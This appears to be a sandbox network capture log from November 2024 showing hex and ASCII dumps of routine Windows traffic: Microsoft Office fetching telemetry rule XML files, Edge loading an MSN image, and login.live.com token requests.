2024-11-19 23:19:32 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.5	62149	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:32 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: cb785bac-301e-0000-6c8c-3aeecc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-1777c6cb754xlpjshC1TEBv8cc00000008y00000000070fv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
131	192.168.2.5	62150	104.117.182.9	443	6472	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	506	OUT	GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 23:19:33 UTC	551	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t Last-Modified: Fri, 15 Nov 2024 06:37:05 GMT X-Source-Length: 1437868 X-Datacenter: westus X-ActivityId: 35f8cf50-b6a5-4c74-ae05-da13e654185f Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 4096 Cache-Control: public, max-age=415138 Expires: Sun, 24 Nov 2024 18:38:31 GMT Date: Tue, 19 Nov 2024 23:19:33 GMT Connection: close
2024-11-19 23:19:33 UTC	4096	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff c0 00 11 08 00 a8 00 a8 03 01 11 00 02 11 01 03 11 01 ff c4 01 a2 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa 01 00 03 01 Data Ascii: JFIF``}!1AQa"q2#BR$3br%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	62151	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d7880247-601e-0070-328c-3aa0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-1777c6cb754gc8g6hC1TEB966c00000008v0000000002qzb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	62152	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-1777c6cb754gvvgfhC1TEBz4rg00000008v0000000008v7f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	62155	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-185f5d8b95c4bhwphC1NYCs8gw00000009kg000000007bwf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	62156	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 8e68b69a-701e-005c-5c8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-185f5d8b95cdtclvhC1NYC4rmc00000009n0000000002mcc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.5	62153	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 23:19:33 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:34 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: 08b687b0-27a0-4c7b-beb8-508edcb8791f PPServer: PPV: 30 H: SN1PEPF0002F14C V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:33 GMT Connection: close Content-Length: 1918
2024-11-19 23:19:34 UTC	1918	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	62154	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 23:19:33 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 23:19:34 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 23:18:33 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30405.9 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C551_SN1 x-ms-request-id: 4ef5c49a-48b6-4dc5-8788-2f9701eedc1a PPServer: PPV: 30 H: SN1PEPF0002FA16 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 23:19:33 GMT Connection: close Content-Length: 11409
2024-11-19 23:19:34 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	62157	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:33 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:33 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:33 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 47e3bf54-c01e-0082-038c-3aaf72000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231933Z-1777c6cb754ww792hC1TEBzqu400000008m000000000d3q9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:33 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	62158	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:34 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:34 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:34 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231934Z-1777c6cb7549x5qchC1TEBggbg00000008w00000000062e5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
